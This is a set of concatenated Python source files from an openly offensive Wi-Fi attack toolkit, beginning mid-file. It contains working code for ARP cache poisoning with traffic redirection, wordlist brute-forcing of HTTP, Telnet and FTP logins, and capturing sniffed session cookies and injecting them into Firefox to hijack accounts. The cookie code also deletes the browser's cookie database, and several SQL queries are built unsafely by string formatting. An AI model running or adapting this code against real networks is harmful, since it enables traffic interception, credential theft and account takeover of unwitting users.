''' Thread worker for the _redirect_network_traffic() method'''
self.semaphore.acquire()
try:
if(routed_data.haslayer(Ether)):
if(routed_data.getlayer(Ether).dst == self._local_mac):
routed_data.getlayer(Ether).dst = self._gateway_MAC_addr
sendp(routed_data,iface = self.interface_card)
finally:
self.semaphore.release()
def _redirect_network_traffic(self):
'''Redirect traffic to the Gateway Address'''
sniff(prn = self._redirect_network_traffic_worker,store = 0)
def Start_ARP_Poisoning(self,route_enabled = True):
'''Start ARP Poisoning Attack'''
self.control = True
self._local_mac = self.get_Mac_Address(self.interface_card).strip()
self._local_IP_Address = self.get_IP_Adddress()
self._set_Gateway_MAC()
thread.start_new_thread(self._get_Network_Hosts,()) # Get all network hosts on subnet
if(route_enabled):
thread.start_new_thread(self._redirect_network_traffic,()) # Redirect traffic to default gateway
self._poison_arp_cache() # Poison the cache of all network hosts
#################### OS NETWORKING FUNCTIONS #####################
def get_Mac_Address(self,interface):
sys_net = "/sys/class/net/" + interface + "/address"
addr = open(sys_net,"r")
mac_addr = addr.read()
addr.close()
return(mac_addr)
def get_IP_Adddress(self):
import re
import commands
regex = "inet addr:((\d+.){3}\d+)"
sys_out = commands.getstatusoutput("ifconfig " + self.interface_card)[1]
result = re.findall(regex,sys_out)
if(result):
return(result[0][0])
return("0.0.0.0")
def class_A_generator(self,address):
'''Generates CIDR class A adresses'''
#/8 Class A address host range = pow(2,24) -2
mod = address.index('.')
address = address[:mod] + '.%d' * 3
for first_octect in range(255):
for second_octect in range(255):
for third_octect in range(255):
yield(address % (first_octect,\
second_octect,third_octect))
def class_B_generator(self,address):
'''Generates CIDR class B adresses'''
#/16 Class B address host range = pow(2,16) -2
mod = address.rindex('.')
address = address[:address[0:mod].rindex('.')] + '.%d'*2
for first_octect in range(255):
for second_octect in range(255):
yield(address % (\
first_octect,second_octect))
def class_C_generator(self,address):
'''Generates CIDR class C adresses'''
#/24 Class C address host range = pow(2,8) -2
process = address.rindex('.')
address = address[:process] + '.%d'
for octect in range(255):
yield(address % octect)
#################### OS NETWORKING FUNCTIONS END ########################
def set_Attack_Option(self,option):
'''"ARP POISON" or "ARP POISON + ROUTE" or "DOS"'''
self._attack_option = option
def run_attack(self):
attack_options = ["ARP POISON","ARP POISON + ROUTE","DOS"]
if(self._attack_option == "ARP POISON"):
self.Start_ARP_Poisoning(False)
if(self._attack_option == "ARP POISON + ROUTE"):
self.Start_ARP_Poisoning(True)
if(self._attack_option == "DOS"):
self.Start_ARP_Poisoning(False)
if(self._attack_option == str()):
raise Exception("Attack Type has not been set")
if(self._attack_option not in attack_options):
raise Exception("Invalid Attack Option")
instance = Fern_MITM_Class.ARP_Poisoning()
instance.interface_card = os.environ["interface_card"]
instance.gateway_IP_address = os.environ["gateway_ip_address"]
instance.set_Attack_Option("ARP POISON + ROUTE")
instance.run_attack()
# Usage:
# instance = Fern_MITM_Class.ARP_Poisoning()
# instance.interface_card = "eth0"
# instance.gateway_IP_address = "192.168.133.1"
# instance.set_Attack_Option("ARP POISON + ROUTE")
# instance.start()
# instance.stop()
| Python |
#-------------------------------------------------------------------------------
# Name: Mozilla Cookies Engine
# Purpose: Mozilla Firefox Cookie Engine
#
# Author: Saviour Emmanuel Ekiko
#
# Created: 20/07/2012
# Copyright: (c) Fern Wifi Cracker 2012
# Licence: <GNU GPL v3>
#
#
#-------------------------------------------------------------------------------
# GNU GPL v3 Licence Summary:
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
import os
import time
import sqlite3
import subprocess
# CREATE TABLE moz_cookies (id INTEGER PRIMARY KEY, baseDomain TEXT, name TEXT, value TEXT, host TEXT, path TEXT, expiry INTEGER, lastAccessed INTEGER, creationTime INTEGER, isSecure INTEGER, isHttpOnly INTEGER, CONSTRAINT moz_uniqueid UNIQUE (name, host, path))
class Mozilla_Cookie_Core(object):
def __init__(self):
self.isdeleted = False
self.cookie_database = str() # /root/.mozilla/firefox/nq474mcm.default/cookies.sqlite (Use self.get_Cookie_Path() to file path)
def _create_moz_cookies(self):
sql_code = "CREATE TABLE moz_cookies (id INTEGER PRIMARY KEY, baseDomain TEXT, name TEXT, value TEXT, host TEXT, path TEXT, expiry INTEGER, lastAccessed INTEGER, creationTime INTEGER, isSecure INTEGER, isHttpOnly INTEGER)"
mozilla_cookie_db = sqlite3.connect(self.cookie_database)
mozilla_cursor = mozilla_cookie_db.cursor()
mozilla_cursor.execute(sql_code)
mozilla_cookie_db.commit()
mozilla_cookie_db.close()
def _check_database_compatibility(self):
if(self.isdeleted == False):
self.kill_Process("firefox-bin")
os.remove(self.cookie_database)
self._create_moz_cookies()
self.isdeleted = True
def execute_query(self,sql_statement):
'''Executes raw query into database and returns entry
list() if any'''
self._check_database_compatibility()
mozilla_cookie_db = sqlite3.connect(self.cookie_database)
mozilla_cursor = mozilla_cookie_db.cursor()
try:
mozilla_cursor.execute(str(sql_statement))
except Exception,e:
mozilla_cursor.close()
os.remove(self.cookie_database)
self._create_moz_cookies()
mozilla_cookie_db = sqlite3.connect(self.cookie_database)
mozilla_cursor = mozilla_cookie_db.cursor()
mozilla_cursor.execute(str(sql_statement))
return_objects = mozilla_cursor.fetchall()
if(return_objects):
return(return_objects)
mozilla_cookie_db.commit()
mozilla_cookie_db.close()
# Mozilla Cookie entry format
#
# ('14', 'scorecardresearch.com', 'UID', '2baec64d-23.63.99.90-1342553308', '.scorecardresearch.com', '/', '1404761306', '1342815702910000', '1342553306190000', '0', '0')
# (id_number,baseDomain,name,value,host,path,expiry,lastAccessed,creationTime,isSecure,isHttpOnly)
#
def calculate_mozilla_creationTime(self):
crude_index = "0123456789"
creation_time = str(int(time.time()))
for add in xrange(16 - (len(creation_time) + 3)):
creation_time += crude_index[add]
creation_time += "000"
return(creation_time)
def insert_Cookie_Values(self,baseDomain,name,value,host,path,isSecure,isHttpOnly):
'''Stores cookies into the moz_cookies table
e.g "foobar.com","UID","1235423HYFFDTWB=YTER",".foobar.com","/","0","0"
'''
sql_code_a = "select max(id) from moz_cookies"
response = self.execute_query(sql_code_a)[0][0]
if(response):
id_number = str(int(response) + 1) # calculates the next id number
else:
id_number = str(1)
creationTime = self.calculate_mozilla_creationTime() # 1342948082 + 023 + 0000 = (length == 16)
lastAccessed = creationTime
expiry = str(int(time.time()) + 1065600) # Example : (Sun Jul 22 09:08:42 2012) -> (Fri Aug 3 17:45:51 2012) 12 days
sql_code_b = "insert into moz_cookies values ('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')"
sql_code_b = sql_code_b % (id_number,baseDomain,name,value,host,path,expiry,lastAccessed,creationTime,isSecure,isHttpOnly)
self.execute_query(sql_code_b)
def kill_Process(self,process_name):
import commands
pids = commands.getstatusoutput("pidof " + process_name)[1]
for pid in pids.split():
commands.getstatusoutput("kill " + pid)
def get_Cookie_Path(self,cookie_name):
'''Finds the cookie path from user's profile
sets cookie_database variable to cookie path'''
cookie_path = str()
file_object = open(os.devnull,"w")
userprofile = os.path.expanduser("~")
for root,direc,files in os.walk(userprofile,True):
if((cookie_name in files) and ("firefox" in root.lower())):
cookie_path = root + os.sep + cookie_name
self.cookie_database = cookie_path
return(cookie_path)
# USAGE:
# cookie = Mozilla_Cookie_Core()
# cookie.get_Cookie_Path("cookies.sqlite") | cookie.cookie_database = "D:\\cookies.sqlite"
# retrun_list = cookie.execute_query("select * from moz_cookies")
# for entries in retrun_list:
# print(entries)
| Python |
#-------------------------------------------------------------------------------
# Name: Bruteforce Core
# Purpose: Bruteforcing network services
#
# Author: Saviour Emmanuel Ekiko
#
# Created: 27/11/2012
# Copyright: (c) Fern Wifi Cracker 2012
# Licence: <GNU GPL v3>
#
#
#-------------------------------------------------------------------------------
# GNU GPL v3 Licence Summary:
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re
import time
import base64
import ftplib
import socket
import urllib2
from PyQt4 import QtCore
class HTTP_Authentication(object):
def __init__(self):
self.target_url = str()
def login_http(self,username,password):
request = urllib2.Request(self.target_url)
base64string = base64.encodestring('%s:%s' % (username, password)).replace('\n', '')
request.add_header("Authorization", "Basic %s" % base64string)
result = urllib2.urlopen(request)
class TELNET_Authentication(object):
def __init__(self):
self.target_address = str()
self.target_port = int()
def login_telnet(self,username,password):
check_points = 0
return_code = False
self.telnet_sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.telnet_sock.connect((self.target_address,int(self.target_port)))
if(username == str()):
username = "root"
communication_code = 0
while(True):
response = self.telnet_sock.recv(1024)
if(re.findall("logon failure:",response,re.IGNORECASE)):
return_code = False
return(False)
elif(re.findall("login",response,re.IGNORECASE)):
check_points += 1
for username_char in list(username):
self.telnet_sock.send(username_char)
self.telnet_sock.recv(1204)
self.telnet_sock.send("\x0d")
elif(re.findall("password",response,re.IGNORECASE)):
check_points += 1
for password_char in list(password):
self.telnet_sock.send(password_char)
self.telnet_sock.send("\x0d")
elif(check_points == 2):
return_code = True
return(True)
else:
self.telnet_sock.send(response)
if(communication_code > 11):
break
communication_code += 1
self.telnet_sock.close()
return(return_code)
class FTP_Authentication(object):
def __init__(self):
self.ftp = ftplib.FTP()
self.target_address = str()
self.target_port = int()
def login_ftp(self,username,password):
self.ftp.connect(self.target_address,int(self.target_port))
self.ftp.login(username,password)
self.ftp.close()
class Bruteforce_Attack(QtCore.QThread):
def __init__(self):
QtCore.QThread.__init__(self)
self._timer = 0
self._target_address = str() # Remote address
self._target_port = int() # Remote address service port
self.empty_username = True # Asssert if empty username is to be used
self.empty_password = True # Assert if empty password is to be used
self.user_wordlist = str() # Path to wordlist e.g /usr/local/login.txt
self.password_wordlist = str() # Path to password wordlists e..g /usr/local/password.txt
self._progress = float()
self._total_combination = float() # possible user and password tries
self._attack_type = str() # (FTP || TELNET || HTTP)
self._error_message = str() # Holds Error messages
self.next_try_details = () # [23%,"username","password"]
self.control = True # WIll stop all attacks and exit threads when == False
def setTimer(self,time):
'''Set time to sleep in seconds'''
self._timer = time
def set_target_address(self,address,port):
self._target_address = address
self._target_port = port
def set_attack_type(self,attack_type):
'''Set Attack Type'''
option_types = ["HTTP","FTP","TELNET"]
if(attack_type not in option_types):
raise Exception("Invalid Attack Type Selected Supported Types are (FTP,HTTP,TELNET)")
self._attack_type = attack_type
def get_exception(self):
return(str(self._error_message))
def _line_count(self,filename,wordlist_type):
'''Returns line count'''
lines = open(filename).readlines()
if(wordlist_type == "userlist"):
if(self.empty_username):
lines.append(str())
if(wordlist_type == "wordlist"):
if(self.empty_password):
lines.append(str())
return(len(lines))
def _wordlist_iterator(self):
user_list = open(self.user_wordlist).readlines()
password_list = open(self.password_wordlist).readlines()
if(self.empty_username):
user_list.append(str())
if(self.empty_password):
password_list.append(str())
for username in user_list:
for password in password_list:
self._progress += 1.0
yield(username.strip(),password.strip())
def _calculate_percentage(self):
percentage = (self._progress/self._total_combination) * 100
percentage_format = "%1.2f"%(percentage)
return(str(percentage_format) + "%")
def _run_bruteforce(self):
if(self._attack_type == "HTTP"): # Switch Case Attack_Type
self.bruteforce_http_method = HTTP_Authentication()
self.bruteforce_http_method.target_url = self._target_address
for username,password in self._wordlist_iterator():
self.next_try_details = (self._calculate_percentage(),username,password)
try:
self.bruteforce_http_method.login_http(username,password) # TELNET HERE
self.emit(QtCore.SIGNAL("successful_login(QString,QString)"),username,password)
except Exception,message:
if("connection timed out" in str(message).lower()):
self._error_message = "Unable to connect to the remote address, Connection timed out"
self.emit(QtCore.SIGNAL("We Got Error"))
return
if("no route to host" in str(message).lower()):
self._error_message = "Unable to connect to the remote address, Connection timed out"
self.emit(QtCore.SIGNAL("We Got Error"))
return
if("error 404" in str(message).lower()):
self._error_message = "The remote target returned an HTTP 404 error code, meaning that the requested page does not exist"
self.emit(QtCore.SIGNAL("We Got Error"))
return
if("name or service not known" in str(message).lower()):
self._error_message = "Unable to connect to the remote address, Connection timed out"
self.emit(QtCore.SIGNAL("We Got Error"))
return
if("unreachable" in str(message).lower()):
self._error_message = "Unable to connect to the remote address, Connection timed out"
self.emit(QtCore.SIGNAL("We Got Error"))
return
if("connection refused" in str(message).lower()):
self._error_message = "The connection was refused by the remote service, Please try again"
self.emit(QtCore.SIGNAL("We Got Error"))
return
if("no address associated" in str(message).lower()):
self._error_message = "No address is associated with the target hostname"
self.emit(QtCore.SIGNAL("We Got Error"))
return
if(self.control == False):
return
self.emit(QtCore.SIGNAL("Next Try"))
time.sleep(self._timer)
self.emit(QtCore.SIGNAL("Finished bruteforce"))
self.control = False
if(self._attack_type == "TELNET"):
self.bruteforce_http_method = TELNET_Authentication()
self.bruteforce_http_method.target_address = self._target_address
self.bruteforce_http_method.target_port = self._target_port
for username,password in self._wordlist_iterator():
self.next_try_details = (self._calculate_percentage(),username,password)
try:
if(self.bruteforce_http_method.login_telnet(username,password)): # FTP HERE
self.emit(QtCore.SIGNAL("successful_login(QString,QString)"),username,password)
except Exception,message:
if("name or service not known" in str(message).lower()):
self._error_message = "Unable to resolve target hostname"
self.emit(QtCore.SIGNAL("We Got Error"))
return
if("connection timed out" in str(message).lower()):
self._error_message = "Unable to connect to the remote address, Connection timed out"
self.emit(QtCore.SIGNAL("We Got Error"))
return
if("no route to host" in str(message).lower()):
self._error_message = "Unable to connect to the remote address, Connection timed out"
self.emit(QtCore.SIGNAL("We Got Error"))
return
if("unreachable" in str(message).lower()):
self._error_message = "Unable to connect to the remote address, Connection timed out"
self.emit(QtCore.SIGNAL("We Got Error"))
return
if("connection refused" in str(message).lower()):
self._error_message = "The connection was refused by the remote service, Please try again"
self.emit(QtCore.SIGNAL("We Got Error"))
return
if("no address associated" in str(message).lower()):
self._error_message = "No address is associated with the target hostname"
self.emit(QtCore.SIGNAL("We Got Error"))
return
if(self.control == False):
return
self.emit(QtCore.SIGNAL("Next Try"))
time.sleep(self._timer)
self.emit(QtCore.SIGNAL("Finished bruteforce"))
self.control = False
if(self._attack_type == "FTP"):
self.bruteforce_http_method = FTP_Authentication()
self.bruteforce_http_method.target_address = self._target_address
self.bruteforce_http_method.target_port = self._target_port
for username,password in self._wordlist_iterator():
self.next_try_details = (self._calculate_percentage(),username,password)
try:
self.bruteforce_http_method.login_ftp(username,password) # FTP HERE
self.emit(QtCore.SIGNAL("successful_login(QString,QString)"),username,password)
except Exception,message:
if("name or service not known" in str(message).lower()):
self._error_message = "Unable to resolve target hostname"
self.emit(QtCore.SIGNAL("We Got Error"))
return
if("connection timed out" in str(message).lower()):
self._error_message = "Unable to connect to the remote address, Connection timed out"
self.emit(QtCore.SIGNAL("We Got Error"))
return
if("no route to host" in str(message).lower()):
self._error_message = "Unable to connect to the remote address, Connection timed out"
self.emit(QtCore.SIGNAL("We Got Error"))
return
if("unreachable" in str(message).lower()):
self._error_message = "Unable to connect to the remote address, Connection timed out"
self.emit(QtCore.SIGNAL("We Got Error"))
return
if("connection refused" in str(message).lower()):
self._error_message = "The connection was refused by the remote service, Please try again"
self.emit(QtCore.SIGNAL("We Got Error"))
return
if("no address associated" in str(message).lower()):
self._error_message = "No address is associated with the target hostname"
self.emit(QtCore.SIGNAL("We Got Error"))
return
if(self.control == False):
return
self.emit(QtCore.SIGNAL("Next Try"))
time.sleep(self._timer)
self.emit(QtCore.SIGNAL("Finished bruteforce"))
self.control = False
def stop_Attack(self):
self.control = False
def start_Attack(self):
self.control = True
self._progress = 0.0
user_count = self._line_count(self.user_wordlist,"userlist")
password_count = self._line_count(self.password_wordlist,"wordlist")
self._total_combination = float(user_count * password_count)
self._run_bruteforce()
def run(self):
self.start_Attack()
| Python |
import re
import os
import time
import signal
import sqlite3
import commands
import subprocess
from PyQt4 import QtCore,QtGui
from gui.cookie_hijacker import *
from mozilla_cookie_core import *
from cookie_hijacker_core import *
class Fern_Cookie_Hijacker(QtGui.QDialog,Ui_cookie_hijacker):
def __init__(self):
QtGui.QDialog.__init__(self)
self.setupUi(self)
self.retranslateUi(self)
self.sniff_button_control = "START"
self.interface_card_info = {} # {eth0:ETHERNET, wlan0:WIFI}
self.enable_control(False)
self.Right_click_Menu() # Activate right click menu items
self.is_mozilla_cookie_truncated = False # Deletes all previous cookies in mozilla database
self.monitor_interface = str() # wlan0, mon0 etc
self.red_light = QtGui.QPixmap("%s/resources/red_led.png"%(os.getcwd()))
self.green_light = QtGui.QPixmap("%s/resources/green_led.png"%(os.getcwd()))
self.refresh_interface() # Display list of wireless interface cards on startup
self.clear_items() # Clear design items from cookie tree widget
self.set_Window_Max()
self.host_interface = str() # Hold the name of the current monitor host interface e.g wlan0
self.mitm_pid = int()
self.cookie_db_jar = object # Sqlite3 Database object
self.cookie_core = Cookie_Hijack_Core() # Cookie Capture and processing core
self.mozilla_cookie_engine = Mozilla_Cookie_Core() # Mozilla fierfox cookie engine
self.connect(self.refresh_button,QtCore.SIGNAL("clicked()"),self.refresh_interface)
self.connect(self.start_sniffing_button,QtCore.SIGNAL("clicked()"),self.start_Cookie_Attack)
self.connect(self.ethernet_mode_radio,QtCore.SIGNAL("clicked()"),self.set_attack_option)
self.connect(self.passive_mode_radio,QtCore.SIGNAL("clicked()"),self.set_attack_option)
self.connect(self.combo_interface,QtCore.SIGNAL("currentIndexChanged(QString)"),self.reset)
self.connect_objects()
self.set_channel_options()
def connect_objects(self):
self.connect(self,QtCore.SIGNAL("creating cache"),self.creating_cache)
self.connect(self.cookie_core,QtCore.SIGNAL("New Cookie Captured"),self.display_cookie_captured) # Notification Signal for GUI instance"))
self.connect(self.cookie_core,QtCore.SIGNAL("cookie buffer detected"),self.emit_led_buffer) # Notification on new http packet
self.connect(self,QtCore.SIGNAL("emit buffer red light"),self.emit_buffer_red_light)
self.connect(self,QtCore.SIGNAL("on sniff red light"),self.off_sniff_red_light) # Will bink the sniff led red for some seconds control from blink_light()
self.connect(self,QtCore.SIGNAL("on sniff green light"),self.on_sniff_green_light) # Will bink the sniff led green for some seconds control from blink_light()
self.connect(self,QtCore.SIGNAL("Continue Sniffing"),self.start_Cookie_Attack_part)
self.connect(self,QtCore.SIGNAL("display_error(QString)"),self.display_error) # Will display any error to main screen
self.connect(self,QtCore.SIGNAL("Deactivate"),self.deactivate)
def set_channel_options(self):
self.channel_dict = {1:"2.412 GHZ",2:"2.417 GHZ",3:"2.422 GHZ",4:"2.427 GHZ",5:"2.432 GHZ",6:"2.437 GHZ",7:"2.442 GHZ",8:"2.447 GHZ",9:"2.452 GHZ",10:"2.457 GHZ"
,11:"2.462 GHZ",12:"2.467 GHZ",13:"2.472 GHZ",14:"2.484 GHZ"}
self.active_monitor_mode = str() # This will hold channel information
self.promiscious_mode = "All Channels"
self.channel_combo.addItem(self.promiscious_mode)
for channel in self.channel_dict.keys():
self.channel_combo.addItem(str(channel))
def reset(self):
selected_card = str(self.combo_interface.currentText())
if(selected_card == "Select Interface Card"):
self.ethernet_mode_radio.setChecked(True)
self.label.setText("Gateway IP Address / Router IP Address:")
self.channel_display_option(False)
self.enable_control(False)
return
self.enable_control(True)
if(self.interface_card_info.has_key(selected_card)):
if(self.interface_card_info[selected_card] != "WIFI"):
self.ethernet_mode_radio.setChecked(True)
self.label.setText("Gateway IP Address / Router IP Address:")
self.channel_display_option(False)
def enable_control(self,status):
self.groupBox_2.setEnabled(status)
self.passive_mode_radio.setEnabled(status)
self.ethernet_mode_radio.setEnabled(status)
self.start_sniffing_button.setEnabled(status)
def set_attack_option(self,reset = False):
selected_card = str(self.combo_interface.currentText())
if(selected_card == "Select Interface Card"):
QtGui.QMessageBox.warning(self,"Interface Option","Please select a valid interface card from the list of available interfaces")
self.ethernet_mode_radio.setChecked(True)
return
if(self.ethernet_mode_radio.isChecked()):
self.monitor_interface_label.setText("Ethernet Mode")
self.label.setText("Gateway IP Address / Router IP Address:")
self.channel_display_option(False)
else:
if(self.interface_card_info[selected_card] == "ETHERNET"):
QtGui.QMessageBox.warning(self,"Interface Option","The selected mode only works with WIFI enabled interface cards")
self.ethernet_mode_radio.setChecked(True)
return
if(self.interface_card_info[selected_card] == "WIFI"):
if(self.passive_mode_radio.isChecked()):
self.monitor_interface_label.setText("Monitor Mode")
self.label.setText("WEP Decryption Key:")
self.channel_display_option(True)
else:
self.monitor_interface_label.setText("Ethernet Mode")
self.label.setText("Gateway IP Address / Router IP Address:")
self.channel_display_option(False)
def set_Window_Max(self):
try:
self.setWindowFlags(
QtCore.Qt.WindowMinMaxButtonsHint |
QtCore.Qt.WindowCloseButtonHint |
QtCore.Qt.Dialog)
except:pass
def display_error(self,message):
self.cookies_captured_label.setText(
"<font color=red><b>" + str(message) + "</b></font>")
def firefox_is_installed(self):
if(commands.getstatusoutput("which firefox")[0]):
return(False)
return(True)
def channel_display_option(self,status):
self.channel_label.setVisible(status)
self.channel_combo.setVisible(status)
def reset_card_state(self):
for card in os.listdir("/sys/class/net"):
if(card.startswith("mon")):
commands.getoutput("airmon-ng stop " + card)
def refresh_interface(self):
interface_cards = []
self.interface_card_info = {}
self.combo_interface.clear()
self.host_interface = str()
interfaces = commands.getoutput("iwconfig").splitlines()
self.channel_display_option(False)
self.reset_card_state()
sys_interface_cards = os.listdir("/sys/class/net")
for card in sys_interface_cards:
if(card.startswith("mon")):
continue
if(card == "lo"): # Loopback interface
continue
for card_info in interfaces:
if((card in card_info) and ("802.11" in card_info)):
interface_cards.append(card)
self.interface_card_info[card] = "WIFI"
if(card not in interface_cards):
interface_cards.append(card)
self.interface_card_info[card] = "ETHERNET"
if(len(interface_cards) >= 1):
interface_cards.insert(0,"Select Interface Card")
interface_cards.sort()
else:
self.display_error("No Usable interface detected")
self.combo_interface.addItems(interface_cards)
###
def on_sniff_green_light(self):
self.sniffing_status_led.setPixmap(self.green_light)
def off_sniff_red_light(self):
self.sniffing_status_led.setPixmap(self.red_light)
##
def set_monitor_mode(self):
selected_interface = str(self.combo_interface.currentText())
selected_channel = str(self.channel_combo.currentText())
self.cookies_captured_label.clear()
if((selected_interface == "Select Interface Card") or (selected_interface == str())):
self.clear_items()
return
else:
monitor_status = commands.getoutput("iwconfig " + selected_interface)
if(("Monitor" in monitor_status) and ((selected_interface,selected_channel) == self.host_interface)):
self.monitor_interface = selected_interface
self.monitor_interface_led.setPixmap(self.green_light)
self.host_interface = (selected_interface,selected_channel)
return
elif((selected_interface,selected_channel) == self.host_interface):
self.monitor_interface_led.setPixmap(self.green_light)
return
else:
self.reset_card_state()
display = '''%s is currently not on monitor mode, should a monitor interface be created using the selected interface'''%(selected_interface)
answer = QtGui.QMessageBox.question(self,"Enable Monitor Mode",display,QtGui.QMessageBox.Yes,QtGui.QMessageBox.No)
if(answer == QtGui.QMessageBox.Yes):
if(selected_channel == self.promiscious_mode):
self.active_monitor_mode = "Promiscious Mode"
monitor_output = commands.getstatusoutput("airmon-ng start " + selected_interface)
else:
monitor_output = commands.getstatusoutput("airmon-ng start %s %s" % (selected_interface,selected_channel))
if(monitor_output[0] == 0):
monitor_interface = re.findall("mon\d+",monitor_output[1])
if(monitor_interface):
self.monitor_interface = monitor_interface[0]
self.monitor_interface_led.setPixmap(self.green_light)
self.host_interface = (selected_interface,selected_channel)
elif("monitor mode enabled" in monitor_output[1]):
self.monitor_interface = selected_interface
self.monitor_interface_led.setPixmap(self.green_light)
self.host_interface = (selected_interface,selected_channel)
else:
self.display_error(monitor_output[1])
else:
self.display_error(monitor_output[1])
else:
self.clear_items()
def Right_click_Menu(self):
self.treeWidget.setContextMenuPolicy(QtCore.Qt.CustomContextMenu)
self.treeWidget.customContextMenuRequested.connect(self._Right_Click_Options)
def Save_Cookies(self):
selected_path = str(QtGui.QFileDialog.getSaveFileName(self,"Save Cookies","cookies.txt"))
if(selected_path):
cookie_open_file = open(selected_path,"w")
database_path = os.getcwd() + "/key-database/Cookie.db"
self.cookie_db_jar = sqlite3.connect(database_path)
self.cookie_db_cursor = self.cookie_db_jar.cursor()
self.cookie_db_cursor.execute("select distinct source from cookie_cache")
source_addresses = self.cookie_db_cursor.fetchall()
for source in source_addresses: # e.g [0,("192.168.0.1",)]
ip_address = str(source[0])
cookie_open_file.write("\n\n")
cookie_open_file.write(ip_address + "\n")
cookie_open_file.write("-" * 20)
cookie_open_file.write("\n")
self.cookie_db_cursor.execute("select distinct Web_Address from cookie_cache where source = '" + ip_address + "'")
web_addresses = self.cookie_db_cursor.fetchall()
for web_address in web_addresses:
web_addr = str(web_address[0])
cookie_open_file.write("\n\n" + web_addr.strip() + "\n")
cookie_open_file.write("-" * (len(web_addr) + 5))
cookie_open_file.write("\n")
self.cookie_db_cursor.execute("select distinct Name,Value from cookie_cache where source = ? and Web_Address = ?",(ip_address,web_addr))
cookies_values = self.cookie_db_cursor.fetchall()
for cookies in cookies_values:
cookie = cookies[0]
value = cookies[1]
cookie_open_file.write("\n%s: %s" % (str(cookie),str(value)))
cookie_open_file.close()
QtGui.QMessageBox.information(self,"Save Cookies","Successfully saved all captured cookies to: " + selected_path)
def Clear_All(self):
answer = QtGui.QMessageBox.question(self,"Clear Captured Cookies","Are you sure you want to clear all captured cookies?",QtGui.QMessageBox.Yes,QtGui.QMessageBox.No)
if(answer == QtGui.QMessageBox.Yes):
self.cookie_db_cursor.execute("delete from cookie_cache")
self.cookie_db_jar.commit()
self.cookie_core.captured_cookie_count = 0
self.cookies_captured_label.setText("<font color=green><b>" + str(self.cookie_core.captured_cookie_count) + " Cookies Captured</b></font>")
self.treeWidget.clear()
def Delete_Cookie(self):
self.treeWidget.currentItem().removeChild(self.treeWidget.currentItem())
def open_web_address(self,address):
shell = "firefox %s"
commands.getoutput(shell % address)
def Hijack_Session(self):
self.mozilla_cookie_engine.kill_Process("firefox-bin")
selected_cookie = str(self.treeWidget.currentItem().text(0))
sql_code_a = "select Referer from cookie_cache where Web_Address = '%s'"
sql_code_b = "select Host,Name,Value,Dot_Host,Path,IsSecured,IsHttpOnly from cookie_cache where Web_Address = '%s'"
self.cookie_db_cursor.execute("select Host from cookie_cache where Web_Address = '%s'" % (selected_cookie))
result = self.cookie_db_cursor.fetchone()
if(result):
self.mozilla_cookie_engine.execute_query("delete from moz_cookies where baseDomain = '%s'" % (result[0]))
self.cookie_db_cursor.execute(sql_code_a % (selected_cookie))
web_address = self.cookie_db_cursor.fetchone()[0]
self.cookie_db_cursor.execute(sql_code_b % (selected_cookie))
return_items = self.cookie_db_cursor.fetchall()
for entries in return_items:
self.mozilla_cookie_engine.insert_Cookie_Values(
str(entries[0]),str(entries[1]),str(entries[2]),
str(entries[3]),str(entries[4]),str(entries[5]),
str(entries[6]))
thread.start_new_thread(self.open_web_address,(web_address,))
def _Right_Click_Options(self,pos):
menu = QtGui.QMenu()
try:
item_type = str(self.treeWidget.currentItem().text(0))
except AttributeError:
return
hijack_cookie = menu.addAction("Hijack Session")
if((item_type.count(".") == 3 and item_type[0:3].isdigit()) or item_type.count(":") >= 1):
hijack_cookie.setEnabled(False)
else:
if not self.firefox_is_installed():
hijack_cookie.setEnabled(False)
else:
hijack_cookie.setEnabled(True)
save_cookie = menu.addAction("Save Cookies")
clear_all = menu.addAction("Clear All")
delete_cookie = menu.addAction("Delete")
selected_action = menu.exec_(self.treeWidget.mapToGlobal(pos))
if(selected_action == hijack_cookie):
self.Hijack_Session()
if(selected_action == save_cookie):
self.Save_Cookies()
if(selected_action == clear_all):
self.Clear_All()
if(selected_action == delete_cookie):
self.Delete_Cookie()
# Blinks the cookie buffer light on http packet detection
def emit_led_buffer(self):
self.cookie_detection_led.setPixmap(self.green_light)
thread.start_new_thread(self.delay_thread,())
def emit_buffer_red_light(self):
self.cookie_detection_led.setPixmap(self.red_light)
def delay_thread(self):
time.sleep(0.2)
self.emit(QtCore.SIGNAL("emit buffer red light"))
# Displays cookies on GUI treeWidget
def display_cookie_captured(self):
self.treeWidget.clear()
database_path = os.getcwd() + "/key-database/Cookie.db"
self.cookie_db_jar = sqlite3.connect(database_path)
self.cookie_db_cursor = self.cookie_db_jar.cursor()
self.cookie_db_cursor.execute("select distinct source from cookie_cache")
source_addresses = self.cookie_db_cursor.fetchall()
for count_a,source in enumerate(source_addresses): # e.g [0,("192.168.0.1",)]
ip_address = str(source[0])
item_0 = QtGui.QTreeWidgetItem(self.treeWidget)
self.treeWidget.topLevelItem(count_a).setText(0,ip_address)
self.cookie_db_cursor.execute("select distinct Web_Address from cookie_cache where source = '" + ip_address + "'")
web_addresses = self.cookie_db_cursor.fetchall()
for count_b,web_address in enumerate(web_addresses):
web_addr = str(web_address[0])
item_1 = QtGui.QTreeWidgetItem(item_0)
icon = QtGui.QIcon()
icon.addPixmap(self.green_light)
item_1.setIcon(0, icon)
self.treeWidget.topLevelItem(count_a).child(count_b).setText(0,web_addr)
self.cookie_db_cursor.execute("select distinct Name,Value from cookie_cache where source = ? and Web_Address = ?", (ip_address,web_addr))
cookies_values = self.cookie_db_cursor.fetchall()
for count_c,cookies in enumerate(cookies_values):
cookie = cookies[0]
value = cookies[1]
item_2 = QtGui.QTreeWidgetItem(item_1)
self.treeWidget.topLevelItem(count_a).child(count_b).child(count_c).setText(0,"%s: %s" % (str(cookie),str(value)))
self.treeWidget.collapseAll()
